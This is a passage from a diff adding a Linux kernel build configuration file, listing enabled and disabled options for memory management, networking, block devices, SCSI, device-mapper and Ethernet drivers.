+CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y +CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y +CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y +CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y +CONFIG_HAVE_ARCH_SOFT_DIRTY=y +CONFIG_HAVE_MOD_ARCH_SPECIFIC=y +CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y +CONFIG_ARCH_HAS_ELF_RANDOMIZE=y +CONFIG_HAVE_ARCH_MMAP_RND_BITS=y +CONFIG_HAVE_EXIT_THREAD=y +CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y +CONFIG_HAVE_STACK_VALIDATION=y +CONFIG_HAVE_RELIABLE_STACKTRACE=y +# CONFIG_COMPAT_32BIT_TIME is not set +CONFIG_HAVE_ARCH_VMAP_STACK=y +CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set +CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y +CONFIG_STRICT_KERNEL_RWX=y +CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y +CONFIG_STRICT_MODULE_RWX=y +CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y +CONFIG_ARCH_HAS_MEM_ENCRYPT=y +CONFIG_HAVE_STATIC_CALL=y +CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y +CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y + +# +# GCOV-based kernel profiling +# +CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y +# end of GCOV-based kernel profiling + +CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# end of General architecture-dependent options + +CONFIG_RT_MUTEXES=y +CONFIG_BASE_SMALL=1 +CONFIG_MODULES=y +# CONFIG_MODULE_FORCE_LOAD is not set +# CONFIG_MODULE_UNLOAD is not set +# CONFIG_MODVERSIONS is not set +# CONFIG_MODULE_SRCVERSION_ALL is not set +# CONFIG_MODULE_SIG is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set +# CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" +CONFIG_TRIM_UNUSED_KSYMS=y +CONFIG_UNUSED_KSYMS_WHITELIST="" +CONFIG_MODULES_TREE_LOOKUP=y +CONFIG_BLOCK=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y +CONFIG_BLK_DEV_BSGLIB=y +# CONFIG_BLK_DEV_INTEGRITY is not set +# CONFIG_BLK_DEV_ZONED is not set +# CONFIG_BLK_WBT is not set +# CONFIG_BLK_SED_OPAL is not set +# CONFIG_BLK_INLINE_ENCRYPTION is not set + +# +# Partition Types +# +# CONFIG_PARTITION_ADVANCED is not set +CONFIG_MSDOS_PARTITION=y +CONFIG_EFI_PARTITION=y +# end of Partition Types + +CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y + +# +# IO Schedulers +# +CONFIG_MQ_IOSCHED_DEADLINE=y +# CONFIG_MQ_IOSCHED_KYBER is not set +# CONFIG_IOSCHED_BFQ is not set +# end of IO Schedulers + +CONFIG_INLINE_SPIN_UNLOCK_IRQ=y +CONFIG_INLINE_READ_UNLOCK=y +CONFIG_INLINE_READ_UNLOCK_IRQ=y +CONFIG_INLINE_WRITE_UNLOCK=y +CONFIG_INLINE_WRITE_UNLOCK_IRQ=y +CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y +CONFIG_MUTEX_SPIN_ON_OWNER=y +CONFIG_RWSEM_SPIN_ON_OWNER=y +CONFIG_LOCK_SPIN_ON_OWNER=y +CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y +CONFIG_QUEUED_SPINLOCKS=y +CONFIG_ARCH_USE_QUEUED_RWLOCKS=y +CONFIG_QUEUED_RWLOCKS=y +CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE=y +CONFIG_ARCH_HAS_SYNC_CORE_BEFORE_USERMODE=y +CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y + +# +# Executable file formats +# +CONFIG_BINFMT_ELF=y +CONFIG_ELFCORE=y +CONFIG_BINFMT_SCRIPT=y +# CONFIG_BINFMT_MISC is not set +# CONFIG_COREDUMP is not set +# end of Executable file formats + +# +# Memory Management options +# +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set +CONFIG_SPARSEMEM=y +CONFIG_SPARSEMEM_EXTREME=y +CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y +CONFIG_SPARSEMEM_VMEMMAP=y +CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y +# CONFIG_MEMORY_HOTPLUG is not set +CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +# CONFIG_COMPACTION is not set +# CONFIG_PAGE_REPORTING is not set +CONFIG_PHYS_ADDR_T_64BIT=y +CONFIG_MMU_NOTIFIER=y +# CONFIG_KSM is not set +CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 +CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y +# CONFIG_MEMORY_FAILURE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y +CONFIG_ARCH_WANTS_THP_SWAP=y +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y +# CONFIG_CMA is not set +CONFIG_GENERIC_EARLY_IOREMAP=y +# CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set +# CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y +CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set +# CONFIG_PERCPU_STATS is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# +CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring +# end of Memory Management options + +CONFIG_NET=y + +# +# Networking options +# +CONFIG_PACKET=y +# CONFIG_PACKET_DIAG is not set +CONFIG_UNIX=y +CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y +# CONFIG_UNIX_DIAG is not set +# CONFIG_TLS is not set +# CONFIG_XFRM_USER is not set +# CONFIG_NET_KEY is not set +CONFIG_INET=y +# CONFIG_IP_MULTICAST is not set +# CONFIG_IP_ADVANCED_ROUTER is not set +# CONFIG_IP_PNP is not set +# CONFIG_NET_IPIP is not set +# CONFIG_NET_IPGRE_DEMUX is not set +CONFIG_SYN_COOKIES=y +# CONFIG_NET_IPVTI is not set +# CONFIG_NET_FOU is not set +# CONFIG_INET_AH is not set +# CONFIG_INET_ESP is not set +# CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 +# CONFIG_INET_DIAG is not set +# CONFIG_TCP_CONG_ADVANCED is not set +CONFIG_TCP_CONG_CUBIC=y +CONFIG_DEFAULT_TCP_CONG="cubic" +# CONFIG_TCP_MD5SIG is not set +# CONFIG_IPV6 is not set +# CONFIG_MPTCP is not set +# CONFIG_NETWORK_SECMARK is not set +# CONFIG_NETWORK_PHY_TIMESTAMPING is not set +# CONFIG_NETFILTER is not set +# CONFIG_BPFILTER is not set +# CONFIG_IP_DCCP is not set +# CONFIG_IP_SCTP is not set +# CONFIG_RDS is not set +# CONFIG_TIPC is not set +# CONFIG_ATM is not set +# CONFIG_L2TP is not set +# CONFIG_BRIDGE is not set +# CONFIG_NET_DSA is not set +# CONFIG_VLAN_8021Q is not set +# CONFIG_LLC2 is not set +# CONFIG_ATALK is not set +# CONFIG_X25 is not set +# CONFIG_LAPB is not set +# CONFIG_PHONET is not set +# CONFIG_IEEE802154 is not set +# CONFIG_NET_SCHED is not set +# CONFIG_DCB is not set +# CONFIG_BATMAN_ADV is not set +# CONFIG_OPENVSWITCH is not set +# CONFIG_VSOCKETS is not set +# CONFIG_NETLINK_DIAG is not set +# CONFIG_MPLS is not set +# CONFIG_NET_NSH is not set +# CONFIG_HSR is not set +# CONFIG_NET_SWITCHDEV is not set +# CONFIG_NET_L3_MASTER_DEV is not set +# CONFIG_QRTR is not set +# CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y +CONFIG_RPS=y +CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y +CONFIG_XPS=y +CONFIG_NET_RX_BUSY_POLL=y +CONFIG_BQL=y +CONFIG_NET_FLOW_LIMIT=y + +# +# Network testing +# +# CONFIG_NET_PKTGEN is not set +# end of Network testing +# end of Networking options + +# CONFIG_HAMRADIO is not set +# CONFIG_CAN is not set +# CONFIG_BT is not set +# CONFIG_AF_RXRPC is not set +# CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set +# CONFIG_WIRELESS is not set +# CONFIG_RFKILL is not set +# CONFIG_NET_9P is not set +# CONFIG_CAIF is not set +# CONFIG_CEPH_LIB is not set +# CONFIG_NFC is not set +# CONFIG_PSAMPLE is not set +# CONFIG_NET_IFE is not set +# CONFIG_LWTUNNEL is not set +# CONFIG_FAILOVER is not set +CONFIG_ETHTOOL_NETLINK=y + +# +# Device Drivers +# +CONFIG_HAVE_EISA=y +# CONFIG_EISA is not set +CONFIG_HAVE_PCI=y +CONFIG_PCI=y +CONFIG_PCI_DOMAINS=y +# CONFIG_PCIEPORTBUS is not set +CONFIG_PCIEASPM=y +CONFIG_PCIEASPM_DEFAULT=y +# CONFIG_PCIEASPM_POWERSAVE is not set +# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set +# CONFIG_PCIEASPM_PERFORMANCE is not set +# CONFIG_PCIE_PTM is not set +CONFIG_PCI_MSI=y +CONFIG_PCI_MSI_IRQ_DOMAIN=y +CONFIG_PCI_QUIRKS=y +# CONFIG_PCI_DEBUG is not set +# CONFIG_PCI_STUB is not set +CONFIG_PCI_ATS=y +CONFIG_PCI_LOCKLESS_CONFIG=y +# CONFIG_PCI_IOV is not set +CONFIG_PCI_PRI=y +CONFIG_PCI_PASID=y +CONFIG_PCI_LABEL=y +# CONFIG_PCIE_BUS_TUNE_OFF is not set +CONFIG_PCIE_BUS_DEFAULT=y +# CONFIG_PCIE_BUS_SAFE is not set +# CONFIG_PCIE_BUS_PERFORMANCE is not set +# CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 +# CONFIG_HOTPLUG_PCI is not set + +# +# PCI controller drivers +# +# CONFIG_VMD is not set + +# +# DesignWare PCI Core Support +# +# CONFIG_PCIE_DW_PLAT_HOST is not set +# CONFIG_PCI_MESON is not set +# end of DesignWare PCI Core Support + +# +# Mobiveil PCIe Core Support +# +# end of Mobiveil PCIe Core Support + +# +# Cadence PCIe controllers support +# +# end of Cadence PCIe controllers support +# end of PCI controller drivers + +# +# PCI Endpoint +# +# CONFIG_PCI_ENDPOINT is not set +# end of PCI Endpoint + +# +# PCI switch controller drivers +# +# CONFIG_PCI_SW_SWITCHTEC is not set +# end of PCI switch controller drivers + +# CONFIG_CXL_BUS is not set +# CONFIG_PCCARD is not set +# CONFIG_RAPIDIO is not set + +# +# Generic Driver Options +# +# CONFIG_UEVENT_HELPER is not set +CONFIG_DEVTMPFS=y +CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set +# CONFIG_STANDALONE is not set +CONFIG_PREVENT_FIRMWARE_BUILD=y + +# +# Firmware loader +# +CONFIG_FW_LOADER=y +CONFIG_EXTRA_FIRMWARE="" +# CONFIG_FW_LOADER_USER_HELPER is not set +# CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set +# end of Firmware loader + +# CONFIG_ALLOW_DEV_COREDUMP is not set +# CONFIG_DEBUG_DRIVER is not set +# CONFIG_DEBUG_DEVRES is not set +# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set +# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set +CONFIG_GENERIC_CPU_AUTOPROBE=y +CONFIG_GENERIC_CPU_VULNERABILITIES=y +CONFIG_REGMAP=y +CONFIG_REGMAP_MMIO=y +CONFIG_DMA_SHARED_BUFFER=y +# CONFIG_DMA_FENCE_TRACE is not set +# end of Generic Driver Options + +# +# Bus devices +# +# CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set +# end of Bus devices + +# CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# EFI (Extensible Firmware Interface) Support +# +CONFIG_EFI_ESRT=y +CONFIG_EFI_RUNTIME_MAP=y +# CONFIG_EFI_FAKE_MEMMAP is not set +CONFIG_EFI_RUNTIME_WRAPPERS=y +# CONFIG_EFI_BOOTLOADER_CONTROL is not set +# CONFIG_EFI_CAPSULE_LOADER is not set +# CONFIG_EFI_TEST is not set +# CONFIG_EFI_RCI2_TABLE is not set +# CONFIG_EFI_DISABLE_PCI_DMA is not set +CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y +# CONFIG_EFI_DISABLE_RUNTIME is not set +# CONFIG_EFI_COCO_SECRET is not set +# end of EFI (Extensible Firmware Interface) Support + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + +# CONFIG_GNSS is not set +# CONFIG_MTD is not set +# CONFIG_OF is not set +CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y +# CONFIG_PARPORT is not set +CONFIG_PNP=y +# CONFIG_PNP_DEBUG_MESSAGES is not set + +# +# Protocols +# +CONFIG_PNPACPI=y +CONFIG_BLK_DEV=y +# CONFIG_BLK_DEV_NULL_BLK is not set +# CONFIG_BLK_DEV_FD is not set +CONFIG_CDROM=y +# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set +CONFIG_BLK_DEV_LOOP=y +CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 +# CONFIG_BLK_DEV_DRBD is not set +# CONFIG_BLK_DEV_NBD is not set +CONFIG_BLK_DEV_RAM=y +CONFIG_BLK_DEV_RAM_COUNT=16 +CONFIG_BLK_DEV_RAM_SIZE=65536 +# CONFIG_CDROM_PKTCDVD is not set +# CONFIG_ATA_OVER_ETH is not set +# CONFIG_BLK_DEV_RBD is not set +# CONFIG_BLK_DEV_UBLK is not set + +# +# NVME Support +# +CONFIG_NVME_CORE=y +CONFIG_BLK_DEV_NVME=y +# CONFIG_NVME_MULTIPATH is not set +# CONFIG_NVME_VERBOSE_ERRORS is not set +# CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set +# end of NVME Support + +# +# Misc devices +# +# CONFIG_DUMMY_IRQ is not set +# CONFIG_IBM_ASM is not set +# CONFIG_PHANTOM is not set +# CONFIG_TIFM_CORE is not set +# CONFIG_ENCLOSURE_SERVICES is not set +# CONFIG_HP_ILO is not set +# CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set +# CONFIG_PCI_ENDPOINT_TEST is not set +# CONFIG_XILINX_SDFEC is not set +# CONFIG_C2PORT is not set + +# +# EEPROM support +# +# CONFIG_EEPROM_93CX6 is not set +# end of EEPROM support + +# CONFIG_CB710_CORE is not set + +# +# Texas Instruments shared transport line discipline +# +# end of Texas Instruments shared transport line discipline + +# +# Altera FPGA firmware download module (requires I2C) +# +# CONFIG_INTEL_MEI is not set +# CONFIG_INTEL_MEI_ME is not set +# CONFIG_INTEL_MEI_TXE is not set +# CONFIG_VMWARE_VMCI is not set +# CONFIG_GENWQE is not set +# CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set +# CONFIG_MISC_ALCOR_PCI is not set +# CONFIG_MISC_RTSX_PCI is not set +# CONFIG_MISC_RTSX_USB is not set +# CONFIG_HABANA_AI is not set +# CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set +# end of Misc devices + +# +# SCSI device support +# +CONFIG_SCSI_MOD=y +# CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y +CONFIG_SCSI=y +CONFIG_SCSI_DMA=y +# CONFIG_SCSI_PROC_FS is not set + +# +# SCSI support type (disk, tape, CD-ROM) +# +CONFIG_BLK_DEV_SD=y +# CONFIG_CHR_DEV_ST is not set +CONFIG_BLK_DEV_SR=y +CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y +# CONFIG_CHR_DEV_SCH is not set +# CONFIG_SCSI_CONSTANTS is not set +# CONFIG_SCSI_LOGGING is not set +CONFIG_SCSI_SCAN_ASYNC=y + +# +# SCSI Transports +# +# CONFIG_SCSI_SPI_ATTRS is not set +# CONFIG_SCSI_FC_ATTRS is not set +CONFIG_SCSI_ISCSI_ATTRS=y +# CONFIG_SCSI_SAS_ATTRS is not set +# CONFIG_SCSI_SAS_LIBSAS is not set +# CONFIG_SCSI_SRP_ATTRS is not set +# end of SCSI Transports + +CONFIG_SCSI_LOWLEVEL=y +CONFIG_ISCSI_TCP=y +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_CXGB3_ISCSI is not set +# CONFIG_SCSI_CXGB4_ISCSI is not set +# CONFIG_SCSI_BNX2_ISCSI is not set +# CONFIG_BE2ISCSI is not set +# CONFIG_BLK_DEV_3W_XXXX_RAID is not set +# CONFIG_SCSI_HPSA is not set +# CONFIG_SCSI_3W_9XXX is not set +# CONFIG_SCSI_3W_SAS is not set +# CONFIG_SCSI_ACARD is not set +# CONFIG_SCSI_AACRAID is not set +# CONFIG_SCSI_AIC7XXX is not set +# CONFIG_SCSI_AIC79XX is not set +# CONFIG_SCSI_AIC94XX is not set +# CONFIG_SCSI_MVSAS is not set +# CONFIG_SCSI_MVUMI is not set +# CONFIG_SCSI_ADVANSYS is not set +# CONFIG_SCSI_ARCMSR is not set +# CONFIG_SCSI_ESAS2R is not set +# CONFIG_MEGARAID_NEWGEN is not set +# CONFIG_MEGARAID_LEGACY is not set +# CONFIG_MEGARAID_SAS is not set +# CONFIG_SCSI_MPT3SAS is not set +# CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set +# CONFIG_SCSI_SMARTPQI is not set +# CONFIG_SCSI_HPTIOP is not set +# CONFIG_SCSI_BUSLOGIC is not set +# CONFIG_SCSI_MYRB is not set +# CONFIG_SCSI_MYRS is not set +# CONFIG_VMWARE_PVSCSI is not set +# CONFIG_SCSI_SNIC is not set +# CONFIG_SCSI_DMX3191D is not set +# CONFIG_SCSI_FDOMAIN_PCI is not set +# CONFIG_SCSI_ISCI is not set +# CONFIG_SCSI_IPS is not set +# CONFIG_SCSI_INITIO is not set +# CONFIG_SCSI_INIA100 is not set +# CONFIG_SCSI_STEX is not set +# CONFIG_SCSI_SYM53C8XX_2 is not set +# CONFIG_SCSI_IPR is not set +# CONFIG_SCSI_QLOGIC_1280 is not set +# CONFIG_SCSI_QLA_ISCSI is not set +# CONFIG_SCSI_DC395x is not set +# CONFIG_SCSI_AM53C974 is not set +# CONFIG_SCSI_WD719X is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_PMCRAID is not set +# CONFIG_SCSI_PM8001 is not set +# CONFIG_SCSI_DH is not set +# end of SCSI device support + +CONFIG_ATA=y +CONFIG_SATA_HOST=y +CONFIG_PATA_TIMINGS=y +# CONFIG_ATA_VERBOSE_ERROR is not set +CONFIG_ATA_FORCE=y +CONFIG_ATA_ACPI=y +CONFIG_SATA_PMP=y + +# +# Controllers with non-SFF native interface +# +CONFIG_SATA_AHCI=y +CONFIG_SATA_MOBILE_LPM_POLICY=0 +# CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set +# CONFIG_SATA_INIC162X is not set +# CONFIG_SATA_ACARD_AHCI is not set +# CONFIG_SATA_SIL24 is not set +# CONFIG_ATA_SFF is not set +CONFIG_MD=y +# CONFIG_BLK_DEV_MD is not set +# CONFIG_BCACHE is not set +CONFIG_BLK_DEV_DM_BUILTIN=y +CONFIG_BLK_DEV_DM=y +# CONFIG_DM_DEBUG is not set +CONFIG_DM_BUFIO=y +# CONFIG_DM_DEBUG_BLOCK_MANAGER_LOCKING is not set +CONFIG_DM_BIO_PRISON=y +CONFIG_DM_PERSISTENT_DATA=y +# CONFIG_DM_UNSTRIPED is not set +CONFIG_DM_CRYPT=y +CONFIG_DM_SNAPSHOT=y +CONFIG_DM_THIN_PROVISIONING=y +# CONFIG_DM_CACHE is not set +# CONFIG_DM_WRITECACHE is not set +# CONFIG_DM_EBS is not set +# CONFIG_DM_ERA is not set +# CONFIG_DM_CLONE is not set +# CONFIG_DM_MIRROR is not set +# CONFIG_DM_RAID is not set +# CONFIG_DM_ZERO is not set +# CONFIG_DM_MULTIPATH is not set +# CONFIG_DM_DELAY is not set +# CONFIG_DM_DUST is not set +# CONFIG_DM_INIT is not set +# CONFIG_DM_UEVENT is not set +# CONFIG_DM_FLAKEY is not set +CONFIG_DM_VERITY=y +# CONFIG_DM_VERITY_VERIFY_ROOTHASH_SIG is not set +CONFIG_DM_VERITY_FEC=y +# CONFIG_DM_SWITCH is not set +# CONFIG_DM_LOG_WRITES is not set +# CONFIG_DM_INTEGRITY is not set +# CONFIG_TARGET_CORE is not set +# CONFIG_FUSION is not set + +# +# IEEE 1394 (FireWire) support +# +# CONFIG_FIREWIRE is not set +# CONFIG_FIREWIRE_NOSY is not set +# end of IEEE 1394 (FireWire) support + +# CONFIG_MACINTOSH_DRIVERS is not set +CONFIG_NETDEVICES=y +CONFIG_MII=m +CONFIG_NET_CORE=y +# CONFIG_BONDING is not set +# CONFIG_DUMMY is not set +# CONFIG_WIREGUARD is not set +# CONFIG_EQUALIZER is not set +# CONFIG_NET_FC is not set +# CONFIG_NET_TEAM is not set +# CONFIG_MACVLAN is not set +# CONFIG_IPVLAN is not set +# CONFIG_VXLAN is not set +# CONFIG_GENEVE is not set +# CONFIG_BAREUDP is not set +# CONFIG_GTP is not set +# CONFIG_MACSEC is not set +# CONFIG_NETCONSOLE is not set +# CONFIG_TUN is not set +# CONFIG_TUN_VNET_CROSS_LE is not set +# CONFIG_VETH is not set +# CONFIG_NLMON is not set +# CONFIG_ARCNET is not set +CONFIG_ETHERNET=y +# CONFIG_NET_VENDOR_3COM is not set +# CONFIG_NET_VENDOR_ADAPTEC is not set +# CONFIG_NET_VENDOR_AGERE is not set +# CONFIG_NET_VENDOR_ALACRITECH is not set +# CONFIG_NET_VENDOR_ALTEON is not set +# CONFIG_ALTERA_TSE is not set +# CONFIG_NET_VENDOR_AMAZON is not set +# CONFIG_NET_VENDOR_AMD is not set +# CONFIG_NET_VENDOR_AQUANTIA is not set +# CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set +# CONFIG_NET_VENDOR_ATHEROS is not set +# CONFIG_CX_ECAT is not set +# CONFIG_NET_VENDOR_BROADCOM is not set +# CONFIG_NET_VENDOR_CADENCE is not set +# CONFIG_NET_VENDOR_CAVIUM is not set +# CONFIG_NET_VENDOR_CHELSIO is not set +# CONFIG_NET_VENDOR_CISCO is not set +# CONFIG_NET_VENDOR_CORTINA is not set +# CONFIG_NET_VENDOR_DAVICOM is not set +# CONFIG_DNET is not set +# CONFIG_NET_VENDOR_DEC is not set +# CONFIG_NET_VENDOR_DLINK is not set +# CONFIG_NET_VENDOR_EMULEX is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set +# CONFIG_NET_VENDOR_EZCHIP is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set +# CONFIG_NET_VENDOR_GOOGLE is not set +# CONFIG_NET_VENDOR_HUAWEI is not set +# CONFIG_NET_VENDOR_I825XX is not set +CONFIG_NET_VENDOR_INTEL=y +# CONFIG_E100 is not set +CONFIG_E1000=m +CONFIG_E1000E=m +CONFIG_E1000E_HWTS=y +# CONFIG_IGB is not set +# CONFIG_IGBVF is not set +# CONFIG_IXGB is not set +# CONFIG_IXGBE is not set +# CONFIG_IXGBEVF is not set +# CONFIG_I40E is not set +# CONFIG_I40EVF is not set +# CONFIG_ICE is not set +# CONFIG_FM10K is not set +# CONFIG_IGC is not set +# CONFIG_NET_VENDOR_WANGXUN is not set +# CONFIG_JME is not set +# CONFIG_NET_VENDOR_LITEX is not set +# CONFIG_NET_VENDOR_MARVELL is not set +# CONFIG_NET_VENDOR_MELLANOX is not set +# CONFIG_NET_VENDOR_MICREL is not set +# CONFIG_NET_VENDOR_MICROCHIP is not set +# CONFIG_NET_VENDOR_MICROSEMI is not set +# CONFIG_NET_VENDOR_MICROSOFT is not set +# CONFIG_NET_VENDOR_MYRI is not set +# CONFIG_FEALNX is not set +# CONFIG_NET_VENDOR_NI is not set +# CONFIG_NET_VENDOR_NATSEMI is not set +# CONFIG_NET_VENDOR_NETERION is not set +# CONFIG_NET_VENDOR_NETRONOME is not set +# CONFIG_NET_VENDOR_NVIDIA is not set +# CONFIG_NET_VENDOR_OKI is not set +# CONFIG_ETHOC is not set +# CONFIG_NET_VENDOR_PACKET_ENGINES is not set +# CONFIG_NET_VENDOR_PENSANDO is not set +# CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set +# CONFIG_NET_VENDOR_QUALCOMM is not set +# CONFIG_NET_VENDOR_RDC is not set +# CONFIG_NET_VENDOR_REALTEK is not set +# CONFIG_NET_VENDOR_RENESAS is not set +# CONFIG_NET_VENDOR_ROCKER is not set +# CONFIG_NET_VENDOR_SAMSUNG is not set +# CONFIG_NET_VENDOR_SEEQ is not set +# CONFIG_NET_VENDOR_SILAN is not set +# CONFIG_NET_VENDOR_SIS is not set +# CONFIG_NET_VENDOR_SOLARFLARE is not set +# CONFIG_NET_VENDOR_SMSC is not set +# CONFIG_NET_VENDOR_SOCIONEXT is not set +# CONFIG_NET_VENDOR_STMICRO is not set +# CONFIG_NET_VENDOR_SUN is not set +# CONFIG_NET_VENDOR_SYNOPSYS is not set +# CONFIG_NET_VENDOR_TEHUTI is not set +# CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set +# CONFIG_NET_VENDOR_VIA is not set +# CONFIG_NET_VENDOR_WIZNET is not set +# CONFIG_NET_VENDOR_XILINX is not set +# CONFIG_FDDI is not set +# CONFIG_HIPPI is not set +# CONFIG_NET_SB1000 is not set +# CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set +# CONFIG_MDIO_DEVICE is not set + +# +# PCS device drivers +# +# end of PCS device drivers + +# CONFIG_PPP is not set +# CONFIG_SLIP is not set +CONFIG_USB_NET_DRIVERS=m +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH 